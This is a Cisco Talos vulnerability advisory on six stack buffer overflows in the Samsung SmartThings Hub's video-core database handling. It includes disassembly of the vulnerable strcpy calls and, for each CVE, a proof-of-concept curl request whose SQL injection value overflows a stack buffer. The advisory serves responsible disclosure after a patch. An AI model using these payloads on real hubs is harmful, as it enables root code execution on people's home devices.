Talos Vulnerability Report

TALOS-2018-0581

Samsung SmartThings Hub video-core database shard code execution vulnerabilities

July 26, 2018
CVE Number

CVE-2018-3912 - CVE-2018-3917

Summary

Multiple exploitable stack-based buffer overflow vulnerabilities exist in the retrieval of database fields in the video-core HTTP server of the Samsung SmartThings Hub. The video-core process insecurely extracts the fields from the "shard" table of its SQLite database, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://shop.smartthings.com/products/samsung-smartthings-hub

CVSSv3 Score

7.5 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller that allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

We identified a vulnerable function that can be exploited to achieve code execution on the video-core process, which is running as root.

For handling the livestreams, the hub stores a series of settings for connecting to cloud servers. These are stored in the "shard" table of video-core's SQLite database (found at "/hub/data/videocore/db/VideoCore.db").

Function sub_289D0 is used to retrieve the "shard" settings from the database and save them in a structure, stored on the stack, passed as first argument.

It is reachable via the imageUploader and mp4Uploader threads, which call the vulnerable function every second.

.text:000289D0     sub_289D0
.text:000289D0
.text:000289D0 000        STMFD           SP!, {R4-R8,LR}
.text:000289D4 018        SUB             SP, SP, #0x1F0
.text:000289D8 208        MOV             R6, #0
.text:000289DC 208        ADD             R4, SP, #0x208+var_18
.text:000289E0 208        MOV             R1, #:lower16:aShardinmemoryd  ; "shardInMemoryDb"
.text:000289E4 208        MOV             R2, #:lower16:aSecretkey       ; "secretKey"
.text:000289E8 208        STR             R6, [R4,#-0x1E4]!
.text:000289EC 208        MOV             R7, R0                         ; [1]
.text:000289F0 208        MOVT            R1, #:upper16:aShardinmemoryd  ; "shardInMemoryDb"
.text:000289F4 208        MOV             R3, R4
.text:000289F8 208        MOVT            R2, #:upper16:aSecretkey       ; "secretKey"
.text:000289FC 208        MOV             R0, #3                         ; db_id
.text:00028A00 208        BL              db_find                        ; [2]
.text:00028A04 208        CMP             R0, R6
.text:00028A08 208        BLT             loc_28BE8
.text:00028A0C 208        LDR             R5, [SP,#0x208+src]
.text:00028A10 208        ADD             R0, R7, #0x38                  ; [1]
.text:00028A14 208        MOV             R1, R5
.text:00028A18 208        BL              strcpy                         ; [3]
...
.text:00028A28 208        MOV             R1, #:lower16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028A2C 208        MOV             R2, #:lower16:aAccesskey       ; "accessKey"
.text:00028A30 208        MOVT            R1, #:upper16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028A34 208        MOVT            R2, #:upper16:aAccesskey       ; "accessKey"
.text:00028A38 208        MOV             R0, #3                         ; db_id
.text:00028A3C 208        MOV             R3, R4
.text:00028A40 208        STR             R6, [SP,#0x208+src]
.text:00028A44 208        BL              db_find                        ; [2]
.text:00028A48 208        CMP             R0, #0
.text:00028A4C 208        BLT             loc_28BC8
.text:00028A50 208        LDR             R6, [SP,#0x208+src]
.text:00028A54 208        ADD             R0, R7, #0x18                  ; [1]
.text:00028A58 208        MOV             R1, R6
.text:00028A5C 208        BL              strcpy                         ; [3]
...
.text:00028A84 208        MOV             R1, #:lower16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028A88 208        MOV             R2, #:lower16:aSessiontoken    ; "sessionToken"
.text:00028A8C 208        MOVT            R1, #:upper16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028A90 208        MOVT            R2, #:upper16:aSessiontoken    ; "sessionToken"
.text:00028A94 208        MOV             R0, #3                         ; db_id
.text:00028A98 208        MOV             R3, R4
.text:00028A9C 208        STR             R6, [SP,#0x208+src]
.text:00028AA0 208        BL              db_find                        ; [2]
.text:00028AA4 208        CMP             R0, R6
.text:00028AA8 208        BLT             loc_28C48
.text:00028AAC 208        LDR             R8, [SP,#0x208+src]
.text:00028AB0 208        ADD             R0, R7, #0xB8                  ; [1]
.text:00028AB4 208        MOV             R1, R8
.text:00028AB8 208        BL              strcpy                         ; [3]
...
.text:00028AD0 208        MOV             R1, #:lower16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028AD4 208        MOV             R2, #:lower16:aBucket          ; "bucket"
.text:00028AD8 208        MOVT            R1, #:upper16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028ADC 208        MOVT            R2, #:upper16:aBucket          ; "bucket"
.text:00028AE0 208        MOV             R0, #3                         ; db_id
.text:00028AE4 208        MOV             R3, R4
.text:00028AE8 208        STR             R6, [SP,#0x208+src]
.text:00028AEC 208        BL              db_find                        ; [2]
.text:00028AF0 208        CMP             R0, #0
.text:00028AF4 208        BLT             loc_28D08
.text:00028AF8 208        LDR             R8, [SP,#0x208+src]
.text:00028AFC 208        ADD             R0, R7, #0x890                 ; [1]
.text:00028B00 208        ADD             R0, R0, #8
.text:00028B04 208        MOV             R1, R8
.text:00028B08 208        BL              strcpy                         ; [3]
...
.text:00028B20 208        MOV             R1, #:lower16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028B24 208        MOV             R2, #:lower16:aDirectory       ; "directory"
.text:00028B28 208        MOVT            R1, #:upper16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028B2C 208        MOVT            R2, #:upper16:aDirectory       ; "directory"
.text:00028B30 208        MOV             R0, #3                         ; db_id
.text:00028B34 208        MOV             R3, R4
.text:00028B38 208        STR             R6, [SP,#0x208+src]
.text:00028B3C 208        BL              db_find                        ; [2]
.text:00028B40 208        CMP             R0, #0
.text:00028B44 208        BLT             loc_28D64
.text:00028B48 208        LDR             R8, [SP,#0x208+src]
.text:00028B4C 208        ADD             R0, R7, #0x8D0                 ; [1]
.text:00028B50 208        ADD             R0, R0, #8
.text:00028B54 208        MOV             R1, R8
.text:00028B58 208        BL              strcpy                         ; [3]
...
.text:00028B70 208        MOV             R1, #:lower16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028B74 208        MOV             R2, #:lower16:aRegion          ; "region"
.text:00028B78 208        MOV             R3, R4
.text:00028B7C 208        MOVT            R1, #:upper16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028B80 208        MOVT            R2, #:upper16:aRegion          ; "region"
.text:00028B84 208        MOV             R0, #3                         ; db_id
.text:00028B88 208        STR             R6, [SP,#0x208+src]
.text:00028B8C 208        BL              db_find                        ; [2]
.text:00028B90 208        CMP             R0, #0
.text:00028B94 208        BLT             loc_28DD0
.text:00028B98 208        LDR             R4, [SP,#0x208+src]
.text:00028B9C 208        ADD             R0, R7, #0x880                 ; [1]
.text:00028BA0 208        ADD             R0, R0, #8
.text:00028BA4 208        MOV             R1, R4
.text:00028BA8 208        BL              strcpy                         ; [3]
...
.text:00028BC4 208        B               loc_28BE0
...
.text:00028BE0     loc_28BE0
.text:00028BE0 208        ADD             SP, SP, #0x1F0
.text:00028BE4 018        LDMFD           SP!, {R4-R8,PC}

As we can see, the same sequence is used to extract each column of the "shard" table:

  1. Execute a "SELECT" query to extract a field using db_find [2]. The query executed is:

     SELECT <field> FROM shard WHERE _id='shardInMemoryDb'
    

    where "field" can be one of: "secretKey", "accessKey", "sessionToken", "bucket", "directory", "region".

  2. If db_find succeeds, the column value is copied in the structure passed as first parameter [1] using strcpy [3].

Since there is no restriction on the length of the copy operation, the buffer can be overflowed, and this allows for overflowing the input structure and execute arbitrary code.

Note that while we scored this vulnerability CVSS 7.5 on its own, it would constitute a CVSS 8.5 (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with TALOS-2018-0556. This is demonstrated in the proof of concepts below. For each of the proof of concepts below, a key with value "x" means that its value is irrelevant, but the key still needs to be present.

CVE-2018-3912 - "secretKey" key

The strcpy call overflows the destination buffer, which has a size of 128 bytes. An attacker can send an arbitrarily long "secretKey" value in order to exploit this vulnerability:

$ sInj='","_id=0 where 1=2;update shard set secretKey=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"

CVE-2018-3913 - "accessKey" key

The strcpy call overflows the destination buffer, which has a size of 32 bytes. An attacker can send an arbitrarily long "accessKey" value in order to exploit this vulnerability:

$ sInj='","_id=0 where 1=2;update shard set accessKey=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"

CVE-2018-3914 - "sessionToken" key

The strcpy call overflows the destination buffer, which has a size of 2000 bytes. An attacker can send an arbitrarily long "sessionToken" value in order to exploit this vulnerability:

$ sInj='","_id=0 where 1=2;update shard set sessionToken=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"

CVE-2018-3915 - "bucket" key

The strcpy call overflows the destination buffer, which has a size of 64 bytes. An attacker can send an arbitrarily long "bucket" value in order to exploit this vulnerability:

$ sInj='","_id=0 where 1=2;update shard set bucket=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"

CVE-2018-3916 - "directory" key

The strcpy call overflows the destination buffer, which has a size of 136 bytes. An attacker can send an arbitrarily long "directory" value in order to exploit this vulnerability:

$ sInj='","_id=0 where 1=2;update shard set directory=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"

CVE-2018-3917 - "region" key

The strcpy call overflows the destination buffer, which has a size of 16 bytes. An attacker can send an arbitrarily long "region" value in order to exploit this vulnerability:

$ sInj='","_id=0 where 1=2;update shard set region=replace(substr(quote(zeroblob((15000 + 1) / 2)), 3, 15000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'secretKey':'${sInj}','accessKey':'x','directory':'x','region':'x','bucket':'x','sessionToken':'x'},'videoHostUrl':'127.0.0.1/'}"

Timeline

2018-04-25 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.